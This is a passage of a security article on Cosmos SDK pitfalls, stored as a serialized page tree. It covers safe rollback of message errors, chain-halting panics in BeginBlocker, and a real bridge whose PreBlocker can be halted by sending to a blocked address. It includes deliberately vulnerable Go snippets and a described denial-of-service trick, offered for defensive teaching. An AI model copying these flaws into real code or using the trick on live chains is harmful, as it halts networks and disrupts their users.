tyle":13598},[94126],{"type":30,"value":92294},{"type":25,"tag":271,"props":94128,"children":94129},{"style":13625},[94130],{"type":30,"value":44},{"type":25,"tag":271,"props":94132,"children":94133},{"style":13598},[94134],{"type":30,"value":93174},{"type":25,"tag":271,"props":94136,"children":94137},{"style":13625},[94138],{"type":30,"value":16299},{"type":25,"tag":271,"props":94140,"children":94142},{"class":13593,"line":94141},58,[94143],{"type":25,"tag":271,"props":94144,"children":94145},{"style":13625},[94146],{"type":30,"value":16501},{"type":25,"tag":271,"props":94148,"children":94150},{"class":13593,"line":94149},59,[94151],{"type":25,"tag":271,"props":94152,"children":94153},{"style":13625},[94154],{"type":30,"value":17058},{"type":25,"tag":26,"props":94156,"children":94157},{},[94158,94160,94165,94167,94174,94175,94182],{"type":30,"value":94159},"Additional examples of incorrect ",{"type":25,"tag":264,"props":94161,"children":94163},{"className":94162},[],[94164],{"type":30,"value":91583},{"type":30,"value":94166}," usage include ",{"type":25,"tag":83,"props":94168,"children":94171},{"href":94169,"rel":94170},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[9066],[94172],{"type":30,"value":94173},"yet more bypassable checks and loss of funds",{"type":30,"value":12218},{"type":25,"tag":83,"props":94176,"children":94179},{"href":94177,"rel":94178},"https://github.com/cosmos/ibc-go/issues/853",[9066],[94180],{"type":30,"value":94181},"incorrect data passing between blockchains",{"type":30,"value":1860},{"type":25,"tag":96,"props":94184,"children":94186},{"id":94185},"errors-panics-i-can-handle-it",[94187],{"type":30,"value":94188},"Errors? Panics? I can handle it",{"type":25,"tag":26,"props":94190,"children":94191},{},[94192],{"type":30,"value":94193},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":25,"tag":26,"props":94195,"children":94196},{},[94197],{"type":30,"value":94198},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":25,"tag":26,"props":94200,"children":94201},{},[94202,94204,94210,94212,94217],{"type":30,"value":94203},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":25,"tag":264,"props":94205,"children":94207},{"className":94206},[],[94208],{"type":30,"value":94209},"k.keeper.TotalReward()",{"type":30,"value":94211}," returns zero, the ",{"type":25,"tag":264,"props":94213,"children":94215},{"className":94214},[],[94216],{"type":30,"value":71061},{"type":30,"value":94218}," execution will simply rollback as if nothing has happened.",{"type":25,"tag":7764,"props":94220,"children":94222},{"code":94221,"language":89280,"meta":7,"className":89281,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[94223],{"type":25,"tag":264,"props":94224,"children":94225},{"__ignoreMap":7},[94226,94259,94282,94310,94346,94353,94422,94460,94467,94499],{"type":25,"tag":271,"props":94227,"children":94228},{"class":13593,"line":13594},[94229,94233,94237,94242,94246,94250,94255],{"type":25,"tag":271,"props":94230,"children":94231},{"style":14289},[94232],{"type":30,"value":89416},{"type":25,"tag":271,"props":94234,"children":94235},{"style":13625},[94236],{"type":30,"value":16213},{"type":25,"tag":271,"props":94238,"children":94239},{"style":13598},[94240],{"type":30,"value":94241},"k ",{"type":25,"tag":271,"props":94243,"children":94244},{"style":13609},[94245],{"type":30,"value":89430},{"type":25,"tag":271,"props":94247,"children":94248},{"style":13625},[94249],{"type":30,"value":14406},{"type":25,"tag":271,"props":94251,"children":94252},{"style":13620},[94253],{"type":30,"value":94254},"AllocateReward",{"type":25,"tag":271,"props":94256,"children":94257},{"style":13625},[94258],{"type":30,"value":16609},{"type":25,"tag":271,"props":94260,"children":94261},{"class":13593,"line":11641},[94262,94266,94270,94274,94278],{"type":25,"tag":271,"props":94263,"children":94264},{"style":13598},[94265],{"type":30,"value":89451},{"type":25,"tag":271,"props":94267,"children":94268},{"style":13609},[94269],{"type":30,"value":89456},{"type":25,"tag":271,"props":94271,"children":94272},{"style":13625},[94273],{"type":30,"value":1860},{"type":25,"tag":271,"props":94275,"children":94276},{"style":13609},[94277],{"type":30,"value":89465},{"type":25,"tag":271,"props":94279,"children":94280},{"style":13625},[94281],{"type":30,"value":14351},{"type":25,"tag":271,"props":94283,"children":94284},{"class":13593,"line":14354},[94285,94289,94293,94297,94301,94306],{"type":25,"tag":271,"props":94286,"children":94287},{"style":13598},[94288],{"type":30,"value":89477},{"type":25,"tag":271,"props":94290,"children":94291},{"style":13603},[94292],{"type":30,"value":22940},{"type":25,"tag":271,"props":94294,"children":94295},{"style":13609},[94296],{"type":30,"value":18890},{"type":25,"tag":271,"props":94298,"children":94299},{"style":13625},[94300],{"type":30,"value":1860},{"type":25,"tag":271,"props":94302,"children":94303},{"style":13609},[94304],{"type":30,"value":94305},"MsgAllocateReward",{"type":25,"tag":271,"props":94307,"children":94308},{"style":13625},[94309],{"type":30,"value":16299},{"type":25,"tag":271,"props":94311,"children":94312},{"class":13593,"line":14391},[94313,94317,94321,94325,94329,94334,94338,94342],{"type":25,"tag":271,"props":94314,"children":94315},{"style":13625},[94316],{"type":30,"value":394},{"type":25,"tag":271,"props":94318,"children":94319},{"style":13603},[94320],{"type":30,"value":17702},{"type":25,"tag":271,"props":94322,"children":94323},{"style":13609},[94324],{"type":30,"value":18890},{"type":25,"tag":271,"props":94326,"children":94327},{"style":13625},[94328],{"type":30,"value":1860},{"type":25,"tag":271,"props":94330,"children":94331},{"style":13609},[94332],{"type":30,"value":94333},"MsgAllocatRewardResponse",{"type":25,"tag":271,"props":94335,"children":94336},{"style":13625},[94337],{"type":30,"value":44},{"type":25,"tag":271,"props":94339,"children":94340},{"style":13609},[94341],{"type":30,"value":27985},{"type":25,"tag":271,"props":94343,"children":94344},{"style":13625},[94345],{"type":30,"value":27925},{"type":25,"tag":271,"props":94347,"children":94348},{"class":13593,"line":14400},[94349],{"type":25,"tag":271,"props":94350,"children":94351},{"emptyLinePlaceholder":18},[94352],{"type":30,"value":16829},{"type":25,"tag":271,"props":94354,"children":94355},{"class":13593,"line":16406},[94356,94361,94365,94370,94374,94379,94383,94388,94392,94396,94401,94405,94409,94413,94418],{"type":25,"tag":271,"props":94357,"children":94358},{"style":13598},[94359],{"type":30,"value":94360},"    RewardPerShare",{"type":25,"tag":271,"props":94362,"children":94363},{"style":13603},[94364],{"type":30,"value":89532},{"type":25,"tag":271,"props":94366,"children":94367},{"style":13598},[94368],{"type":30,"value":94369}," k",{"type":25,"tag":271,"props":94371,"children":94372},{"style":13625},[94373],{"type":30,"value":1860},{"type":25,"tag":271,"props":94375,"children":94376},{"style":13598},[94377],{"type":30,"value":94378},"keeper",{"type":25,"tag":271,"props":94380,"children":94381},{"style":13625},[94382],{"type":30,"value":1860},{"type":25,"tag":271,"props":94384,"children":94385},{"style":13620},[94386],{"type":30,"value":94387},"Shares",{"type":25,"tag":271,"props":94389,"children":94390},{"style":13625},[94391],{"type":30,"value":27164},{"type":25,"tag":271,"props":94393,"children":94394},{"style":13603},[94395],{"type":30,"value":7621},{"type":25,"tag":271,"props":94397,"children":94398},{"style":13598},[94399],{"type":30,"value":94400},"  k",{"type":25,"tag":271,"props":94402,"children":94403},{"style":13625},[94404],{"type":30,"value":1860},{"type":25,"tag":271,"props":94406,"children":94407},{"style":13598},[94408],{"type":30,"value":94378},{"type":25,"tag":271,"props":94410,"children":94411},{"style":13625},[94412],{"type":30,"value":1860},{"type":25,"tag":271,"props":94414,"children":94415},{"style":13620},[94416],{"type":30,"value":94417},"TotalReward",{"type":25,"tag":271,"props":94419,"children":94420},{"style":13625},[94421],{"type":30,"value":20857},{"type":25,"tag":271,"props":94423,"children":94424},{"class":13593,"line":16434},[94425,94430,94434,94438,94442,94447,94451,94456],{"type":25,"tag":271,"props":94426,"children":94427},{"style":13598},[94428],{"type":30,"value":94429},"    k",{"type":25,"tag":271,"props":94431,"children":94432},{"style":13625},[94433],{"type":30,"value":1860},{"type":25,"tag":271,"props":94435,"children":94436},{"style":13598},[94437],{"type":30,"value":94378},{"type":25,"tag":271,"props":94439,"children":94440},{"style":13625},[94441],{"type":30,"value":1860},{"type":25,"tag":271,"props":94443,"children":94444},{"style":13620},[94445],{"type":30,"value":94446},"DistributeReward",{"type":25,"tag":271,"props":94448,"children":94449},{"style":13625},[94450],{"type":30,"value":394},{"type":25,"tag":271,"props":94452,"children":94453},{"style":13598},[94454],{"type":30,"value":94455},"RewardPerShare",{"type":25,"tag":271,"props":94457,"children":94458},{"style":13625},[94459],{"type":30,"value":16299},{"type":25,"tag":271,"props":94461,"children":94462},{"class":13593,"line":16447},[94463],{"type":25,"tag":271,"props":94464,"children":94465},{"emptyLinePlaceholder":18},[94466],{"type":30,"value":16829},{"type":25,"tag":271,"props":94468,"children":94469},{"class":13593,"line":16465},[94470,94474,94478,94482,94486,94491,94495],{"type":25,"tag":271,"props":94471,"children":94472},{"style":16171},[94473],{"type":30,"value":30111},{"type":25,"tag":271,"props":94475,"children":94476},{"style":13603},[94477],{"type":30,"value":14341},{"type":25,"tag":271,"props":94479,"children":94480},{"style":13598},[94481],{"type":30,"value":18890},{"type":25,"tag":271,"props":94483,"children":94484},{"style":13625},[94485],{"type":30,"value":1860},{"type":25,"tag":271,"props":94487,"children":94488},{"style":13598},[94489],{"type":30,"value":94490},"MsgAllocateRewardResponse",{"type":25,"tag":271,"props":94492,"children":94493},{"style":13625},[94494],{"type":30,"value":44},{"type":25,"tag":271,"props":94496,"children":94497},{"style":14289},[94498],{"type":30,"value":89756},{"type":25,"tag":271,"props":94500,"children":94501},{"class":13593,"line":16486},[94502],{"type":25,"tag":271,"props":94503,"children":94504},{"style":13625},[94505],{"type":30,"value":17058},{"type":25,"tag":26,"props":94507,"children":94508},{},[94509,94511,94517,94518,94524,94525,94531,94533,94538],{"type":30,"value":94510},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":25,"tag":264,"props":94512,"children":94514},{"className":94513},[],[94515],{"type":30,"value":94516},"PreBlocker",{"type":30,"value":44},{"type":25,"tag":264,"props":94519,"children":94521},{"className":94520},[],[94522],{"type":30,"value":94523},"BeginBlocker",{"type":30,"value":69},{"type":25,"tag":264,"props":94526,"children":94528},{"className":94527},[],[94529],{"type":30,"value":94530},"EndBlocker",{"type":30,"value":94532},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":25,"tag":264,"props":94534,"children":94536},{"className":94535},[],[94537],{"type":30,"value":94523},{"type":30,"value":94539}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":25,"tag":7764,"props":94541,"children":94543},{"code":94542,"language":89280,"meta":7,"className":89281,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[94544],{"type":25,"tag":264,"props":94545,"children":94546},{"__ignoreMap":7},[94547,94612,94619,94667,94695,94702,94714],{"type":25,"tag":271,"props":94548,"children":94549},{"class":13593,"line":13594},[94550,94554,94559,94563,94567,94571,94575,94579,94583,94587,94592,94596,94600,94604,94608],{"type":25,"tag":271,"props":94551,"children":94552},{"style":14289},[94553],{"type":30,"value":89416},{"type":25,"tag":271,"props":94555,"children":94556},{"style":13620},[94557],{"type":30,"value":94558}," BeginBlocker",{"type":25,"tag":271,"props":94560,"children":94561},{"style":13625},[94562],{"type":30,"value":394},{"type":25,"tag":271,"props":94564,"children":94565},{"style":13598},[94566],{"type":30,"value":33401},{"type":25,"tag":271,"props":94568,"children":94569},{"style":13609},[94570],{"type":30,"value":89456},{"type":25,"tag":271,"props":94572,"children":94573},{"style":13625},[94574],{"type":30,"value":1860},{"type":25,"tag":271,"props":94576,"children":94577},{"style":13609},[94578],{"type":30,"value":89465},{"type":25,"tag":271,"props":94580,"children":94581},{"style":13625},[94582],{"type":30,"value":44},{"type":25,"tag":271,"props":94584,"children":94585},{"style":13598},[94586],{"type":30,"value":94378},{"type":25,"tag":271,"props":94588,"children":94589},{"style":13609},[94590],{"type":30,"value":94591}," keeper",{"type":25,"tag":271,"props":94593,"children":94594},{"style":13625},[94595],{"type":30,"value":1860},{"type":25,"tag":271,"props":94597,"children":94598},{"style":13609},[94599],{"type":30,"value":93058},{"type":25,"tag":271,"props":94601,"children":94602},{"style":13625},[94603],{"type":30,"value":14406},{"type":25,"tag":271,"props":94605,"children":94606},{"style":13609},[94607],{"type":30,"value":27985},{"type":25,"tag":271,"props":94609,"children":94610},{"style":13625},[94611],{"type":30,"value":16431},{"type":25,"tag":271,"props":94613,"children":94614},{"class":13593,"line":11641},[94615],{"type":25,"tag":271,"props":94616,"children":94617},{"emptyLinePlaceholder":18},[94618],{"type":30,"value":16829},{"type":25,"tag":271,"props":94620,"children":94621},{"class":13593,"line":14354},[94622,94626,94630,94634,94638,94642,94646,94650,94655,94659,94663],{"type":25,"tag":271,"props":94623,"children":94624},{"style":13598},[94625],{"type":30,"value":94360},{"type":25,"tag":271,"props":94627,"children":94628},{"style":13603},[94629],{"type":30,"value":89532},{"type":25,"tag":271,"props":94631,"children":94632},{"style":13598},[94633],{"type":30,"value":94591},{"type":25,"tag":271,"props":94635,"children":94636},{"style":13625},[94637],{"type":30,"value":1860},{"type":25,"tag":271,"props":94639,"children":94640},{"style":13620},[94641],{"type":30,"value":94387},{"type":25,"tag":271,"props":94643,"children":94644},{"style":13625},[94645],{"type":30,"value":27164},{"type":25,"tag":271,"props":94647,"children":94648},{"style":13603},[94649],{"type":30,"value":7621},{"type":25,"tag":271,"props":94651,"children":94652},{"style":13598},[94653],{"type":30,"value":94654},"  keeper",{"type":25,"tag":271,"props":94656,"children":94657},{"style":13625},[94658],{"type":30,"value":1860},{"type":25,"tag":271,"props":94660,"children":94661},{"style":13620},[94662],{"type":30,"value":94417},{"type":25,"tag":271,"props":94664,"children":94665},{"style":13625},[94666],{"type":30,"value":20857},{"type":25,"tag":271,"props":94668,"children":94669},{"class":13593,"line":14391},[94670,94675,94679,94683,94687,94691],{"type":25,"tag":271,"props":94671,"children":94672},{"style":13598},[94673],{"type":30,"value":94674},"    keeper",{"type":25,"tag":271,"props":94676,"children":94677},{"style":13625},[94678],{"type":30,"value":1860},{"type":25,"tag":271,"props":94680,"children":94681},{"style":13620},[94682],{"type":30,"value":94446},{"type":25,"tag":271,"props":94684,"children":94685},{"style":13625},[94686],{"type":30,"value":394},{"type":25,"tag":271,"props":94688,"children":94689},{"style":13598},[94690],{"type":30,"value":94455},{"type":25,"tag":271,"props":94692,"children":94693},{"style":13625},[94694],{"type":30,"value":16299},{"type":25,"tag":271,"props":94696,"children":94697},{"class":13593,"line":14400},[94698],{"type":25,"tag":271,"props":94699,"children":94700},{"emptyLinePlaceholder":18},[94701],{"type":30,"value":16829},{"type":25,"tag":271,"props":94703,"children":94704},{"class":13593,"line":16406},[94705,94709],{"type":25,"tag":271,"props":94706,"children":94707},{"style":16171},[94708],{"type":30,"value":65982},{"type":25,"tag":271,"props":94710,"children":94711},{"style":14289},[94712],{"type":30,"value":94713}," nil\n",{"type":25,"tag":271,"props":94715,"children":94716},{"class":13593,"line":16434},[94717],{"type":25,"tag":271,"props":94718,"children":94719},{"style":13625},[94720],{"type":30,"value":17058},{"type":25,"tag":247,"props":94722,"children":94724},{"id":94723},"real-world-examples-3",[94725],{"type":30,"value":89803},{"type":25,"tag":26,"props":94727,"children":94728},{},[94729],{"type":30,"value":94730},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":25,"tag":26,"props":94732,"children":94733},{},[94734,94736,94742,94744,94749,94751,94757,94759,94765,94767,94773],{"type":30,"value":94735},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":25,"tag":264,"props":94737,"children":94739},{"className":94738},[],[94740],{"type":30,"value":94741},"bankKeeper.SendCoinsFromModuleToAccount",{"type":30,"value":94743}," will be bubbled up through ",{"type":25,"tag":264,"props":94745,"children":94747},{"className":94746},[],[94748],{"type":30,"value":94516},{"type":30,"value":94750}," and halt the chain. It turns out an attacker can force ",{"type":25,"tag":264,"props":94752,"children":94754},{"className":94753},[],[94755],{"type":30,"value":94756},"SendCoinsFromModuleToAccount",{"type":30,"value":94758}," to return an error by setting ",{"type":25,"tag":264,"props":94760,"children":94762},{"className":94761},[],[94763],{"type":30,"value":94764},"recipient",{"type":30,"value":94766}," to some ",{"type":25,"tag":264,"props":94768,"children":94770},{"className":94769},[],[94771],{"type":30,"value":94772},"BlockedAddr",{"type":30,"value":94774},",rendering the code susceptible to DoS attacks.",{"type":25,"tag":26,"props":94776,"children":94777},{},[94778],{"type":25,"tag":83,"props":94779,"children":94782},{"href":94780,"rel":94781},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[9066],[94783],{"type":30,"value":89853},{"type":25,"tag":7764,"props":94785,"children":94787},{"code":94786,"language":89280,"meta":7,"className":89281,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[94788],{"type":25,"tag":264,"props":94789,"children":94790},{"__ignoreMap":7},[94791,94844,94859,94882,94912,94948,94956,95012,95036,95086,95093,95100,95107,95114,95121,95152,95175,95200,95215,95222,95259,95313,95336,95377,95384,95391,95442,95503,95526,95549,95561,95582,95594,95602,95609,95624,95632,95639,95646,95653,95660,95667,95698,95721,95746,95771,95786,95793,95830,95841,95862,95873,95885,95892,95915,95955,95962,95969],{"type":25,"tag":271,"props":94792,"children":94793},{"class":13593,"line":13594},[94794,94798,94802,94807,94811,94816,94820,94824,94828,94832,94836,94840],{"type":25,"tag":271,"props":94795,"children":94796},{"style":14289},[94797],{"type":30,"value":89416},{"type":25,"tag":271,"props":94799,"children":94800},{"style":13625},[94801],{"type":30,"value":16213},{"type":25,"tag":271,"props":94803,"children":94804},{"style":13598},[94805],{"type":30,"value":94806},"pbh ",{"type":25,"tag":271,"props":94808,"children":94809},{"style":13603},[94810],{"type":30,"value":17702},{"type":25,"tag":271,"props":94812,"children":94813},{"style":13609},[94814],{"type":30,"value":94815},"PreBlockHandler",{"type":25,"tag":271,"props":94817,"children":94818},{"style":13625},[94819],{"type":30,"value":14406},{"type":25,"tag":271,"props":94821,"children":94822},{"style":13620},[94823],{"type":30,"value":94516},{"type":25,"tag":271,"props":94825,"children":94826},{"style":13625},[94827],{"type":30,"value":27164},{"type":25,"tag":271,"props":94829,"children":94830},{"style":13609},[94831],{"type":30,"value":91843},{"type":25,"tag":271,"props":94833,"children":94834},{"style":13625},[94835],{"type":30,"value":1860},{"type":25,"tag":271,"props":94837,"children":94838},{"style":13609},[94839],{"type":30,"value":94516},{"type":25,"tag":271,"props":94841,"children":94842},{"style":13625},[94843],{"type":30,"value":16431},{"type":25,"tag":271,"props":94845,"children":94846},{"class":13593,"line":11641},[94847,94851,94855],{"type":25,"tag":271,"props":94848,"children":94849},{"style":16171},[94850],{"type":30,"value":30111},{"type":25,"tag":271,"props":94852,"children":94853},{"style":14289},[94854],{"type":30,"value":93122},{"type":25,"tag":271,"props":94856,"children":94857},{"style":13625},[94858],{"type":30,"value":16609},{"type":25,"tag":271,"props":94860,"children":94861},{"class":13593,"line":14354},[94862,94866,94870,94874,94878],{"type":25,"tag":271,"props":94863,"children":94864},{"style":13598},[94865],{"type":30,"value":39296},{"type":25,"tag":271,"props":94867,"children":94868},{"style":13609},[94869],{"type":30,"value":91754},{"type":25,"tag":271,"props":94871,"children":94872},{"style":13625},[94873],{"type":30,"value":1860},{"type":25,"tag":271,"props":94875,"children":94876},{"style":13609},[94877],{"type":30,"value":89465},{"type":25,"tag":271,"props":94879,"children":94880},{"style":13625},[94881],{"type":30,"value":14351},{"type":25,"tag":271,"props":94883,"children":94884},{"class":13593,"line":14391},[94885,94890,94894,94899,94903,94908],{"type":25,"tag":271,"props":94886,"children":94887},{"style":13598},[94888],{"type":30,"value":94889},"        req",{"type":25,"tag":271,"props":94891,"children":94892},{"style":13603},[94893],{"type":30,"value":22940},{"type":25,"tag":271,"props":94895,"children":94896},{"style":13609},[94897],{"type":30,"value":94898},"cmtabci",{"type":25,"tag":271,"props":94900,"children":94901},{"style":13625},[94902],{"type":30,"value":1860},{"type":25,"tag":271,"props":94904,"children":94905},{"style":13609},[94906],{"type":30,"value":94907},"RequestFinalizeBlock",{"type":25,"tag":271,"props":94909,"children":94910},{"style":13625},[94911],{"type":30,"value":14351},{"type":25,"tag":271,"props":94913,"children":94914},{"class":13593,"line":14400},[94915,94919,94923,94927,94931,94936,94940,94944],{"type":25,"tag":271,"props":94916,"children":94917},{"style":13625},[94918],{"type":30,"value":93190},{"type":25,"tag":271,"props":94920,"children":94921},{"style":13603},[94922],{"type":30,"value":17702},{"type":25,"tag":271,"props":94924,"children":94925},{"style":13609},[94926],{"type":30,"value":91843},{"type":25,"tag":271,"props":94928,"children":94929},{"style":13625},[94930],{"type":30,"value":1860},{"type":25,"tag":271,"props":94932,"children":94933},{"style":13609},[94934],{"type":30,"value":94935},"ResponsePreBlock",{"type":25,"tag":271,"props":94937,"children":94938},{"style":13625},[94939],{"type":30,"value":44},{"type":25,"tag":271,"props":94941,"children":94942},{"style":13609},[94943],{"type":30,"value":27985},{"type":25,"tag":271,"props":94945,"children":94946},{"style":13625},[94947],{"type":30,"value":27925},{"type":25,"tag":271,"props":94949,"children":94950},{"class":13593,"line":16406},[94951],{"type":25,"tag":271,"props":94952,"children":94953},{"style":13603},[94954],{"type":30,"value":94955},"        ...\n",{"type":25,"tag":271,"props":94957,"children":94958},{"class":13593,"line":16434},[94959,94964,94968,94973,94977,94982,94986,94991,94995,94999,95003,95008],{"type":25,"tag":271,"props":94960,"children":94961},{"style":13598},[94962],{"type":30,"value":94963},"        err",{"type":25,"tag":271,"props":94965,"children":94966},{"style":13603},[94967],{"type":30,"value":89532},{"type":25,"tag":271,"props":94969,"children":94970},{"style":13598},[94971],{"type":30,"value":94972}," pbh",{"type":25,"tag":271,"props":94974,"children":94975},{"style":13625},[94976],{"type":30,"value":1860},{"type":25,"tag":271,"props":94978,"children":94979},{"style":13598},[94980],{"type":30,"value":94981},"bridgeKeeper",{"type":25,"tag":271,"props":94983,"children":94984},{"style":13625},[94985],{"type":30,"value":1860},{"type":25,"tag":271,"props":94987,"children":94988},{"style":13620},[94989],{"type":30,"value":94990},"AcceptAssetsLocked",{"type":25,"tag":271,"props":94992,"children":94993},{"style":13625},[94994],{"type":30,"value":394},{"type":25,"tag":271,"props":94996,"children":94997},{"style":13598},[94998],{"type":30,"value":33401},{"type":25,"tag":271,"props":95000,"children":95001},{"style":13625},[95002],{"type":30,"value":44},{"type":25,"tag":271,"props":95004,"children":95005},{"style":13598},[95006],{"type":30,"value":95007},"events",{"type":25,"tag":271,"props":95009,"children":95010},{"style":13625},[95011],{"type":30,"value":16299},{"type":25,"tag":271,"props":95013,"children":95014},{"class":13593,"line":16447},[95015,95019,95023,95027,95032],{"type":25,"tag":271,"props":95016,"children":95017},{"style":16171},[95018],{"type":30,"value":16412},{"type":25,"tag":271,"props":95020,"children":95021},{"style":13598},[95022],{"type":30,"value":61637},{"type":25,"tag":271,"props":95024,"children":95025},{"style":13603},[95026],{"type":30,"value":77501},{"type":25,"tag":271,"props":95028,"children":95029},{"style":14289},[95030],{"type":30,"value":95031}," nil",{"type":25,"tag":271,"props":95033,"children":95034},{"style":13625},[95035],{"type":30,"value":16431},{"type":25,"tag":271,"props":95037,"children":95038},{"class":13593,"line":16465},[95039,95043,95047,95051,95056,95060,95065,95069,95074,95078,95082],{"type":25,"tag":271,"props":95040,"children":95041},{"style":16171},[95042],{"type":30,"value":92189},{"type":25,"tag":271,"props":95044,"children":95045},{"style":14289},[95046],{"type":30,"value":95031},{"type":25,"tag":271,"props":95048,"children":95049},{"style":13625},[95050],{"type":30,"value":44},{"type":25,"tag":271,"props":95052,"children":95053},{"style":13598},[95054],{"type":30,"value":95055},"fmt",{"type":25,"tag":271,"props":95057,"children":95058},{"style":13625},[95059],{"type":30,"value":1860},{"type":25,"tag":271,"props":95061,"children":95062},{"style":13620},[95063],{"type":30,"value":95064},"Errorf",{"type":25,"tag":271,"props":95066,"children":95067},{"style":13625},[95068],{"type":30,"value":394},{"type":25,"tag":271,"props":95070,"children":95071},{"style":17388},[95072],{"type":30,"value":95073},"\"cannot accept AssetsLocked events: %w\"",{"type":25,"tag":271,"props":95075,"children":95076},{"style":13625},[95077],{"type":30,"value":44},{"type":25,"tag":271,"props":95079,"children":95080},{"style":13598},[95081],{"type":30,"value":61536},{"type":25,"tag":271,"props":95083,"children":95084},{"style":13625},[95085],{"type":30,"value":16299},{"type":25,"tag":271,"props":95087,"children":95088},{"class":13593,"line":16486},[95089],{"type":25,"tag":271,"props":95090,"children":95091},{"style":13625},[95092],{"type":30,"value":16492},{"type":25,"tag":271,"props":95094,"children":95095},{"class":13593,"line":16495},[95096],{"type":25,"tag":271,"props":95097,"children":95098},{"style":13603},[95099],{"type":30,"value":94955},{"type":25,"tag":271,"props":95101,"children":95102},{"class":13593,"line":16744},[95103],{"type":25,"tag":271,"props":95104,"children":95105},{"style":13625},[95106],{"type":30,"value":16501},{"type":25,"tag":271,"props":95108,"children":95109},{"class":13593,"line":16761},[95110],{"type":25,"tag":271,"props":95111,"children":95112},{"style":13625},[95113],{"type":30,"value":17058},{"type":25,"tag":271,"props":95115,"children":95116},{"class":13593,"line":16778},[95117],{"type":25,"tag":271,"props":95118,"children":95119},{"emptyLinePlaceholder":18},[95120],{"type":30,"value":16829},{"type":25,"tag":271,"props":95122,"children":95123},{"class":13593,"line":16791},[95124,95128,95132,95136,95140,95144,95148],{"type":25,"tag":271,"props":95125,"children":95126},{"style":14289},[95127],{"type":30,"value":89416},{"type":25,"tag":271,"props":95129,"children":95130},{"style":13625},[95131],{"type":30,"value":16213},{"type":25,"tag":271,"props":95133,"children":95134},{"style":13598},[95135],{"type":30,"value":94241},{"type":25,"tag":271,"props":95137,"children":95138},{"style":13609},[95139],{"type":30,"value":93058},{"type":25,"tag":271,"props":95141,"children":95142},{"style":13625},[95143],{"type":30,"value":14406},{"type":25,"tag":271,"props":95145,"children":95146},{"style":13620},[95147],{"type":30,"value":94990},{"type":25,"tag":271,"props":95149,"children":95150},{"style":13625},[95151],{"type":30,"value":16609},{"type":25,"tag":271,"props":95153,"children":95154},{"class":13593,"line":16800},[95155,95159,95163,95167,95171],{"type":25,"tag":271,"props":95156,"children":95157},{"style":13598},[95158],{"type":30,"value":33344},{"type":25,"tag":271,"props":95160,"children":95161},{"style":13609},[95162],{"type":30,"value":91754},{"type":25,"tag":271,"props":95164,"children":95165},{"style":13625},[95166],{"type":30,"value":1860},{"type":25,"tag":271,"props":95168,"children":95169},{"style":13609},[95170],{"type":30,"value":89465},{"type":25,"tag":271,"props":95172,"children":95173},{"style":13625},[95174],{"type":30,"value":14351},{"type":25,"tag":271,"props":95176,"children":95177},{"class":13593,"line":16823},[95178,95183,95187,95191,95196],{"type":25,"tag":271,"props":95179,"children":95180},{"style":13598},[95181],{"type":30,"value":95182},"    events",{"type":25,"tag":271,"props":95184,"children":95185},{"style":13609},[95186],{"type":30,"value":91288},{"type":25,"tag":271,"props":95188,"children":95189},{"style":13625},[95190],{"type":30,"value":1860},{"type":25,"tag":271,"props":95192,"children":95193},{"style":13609},[95194],{"type":30,"value":95195},"AssetsLockedEvents",{"type":25,"tag":271,"props":95197,"children":95198},{"style":13625},[95199],{"type":30,"value":14351},{"type":25,"tag":271,"props":95201,"children":95202},{"class":13593,"line":16832},[95203,95207,95211],{"type":25,"tag":271,"props":95204,"children":95205},{"style":13625},[95206],{"type":30,"value":14406},{"type":25,"tag":271,"props":95208,"children":95209},{"style":13609},[95210],{"type":30,"value":27985},{"type":25,"tag":271,"props":95212,"children":95213},{"style":13625},[95214],{"type":30,"value":16431},{"type":25,"tag":271,"props":95216,"children":95217},{"class":13593,"line":16841},[95218],{"type":25,"tag":271,"props":95219,"children":95220},{"style":13603},[95221],{"type":30,"value":33460},{"type":25,"tag":271,"props":952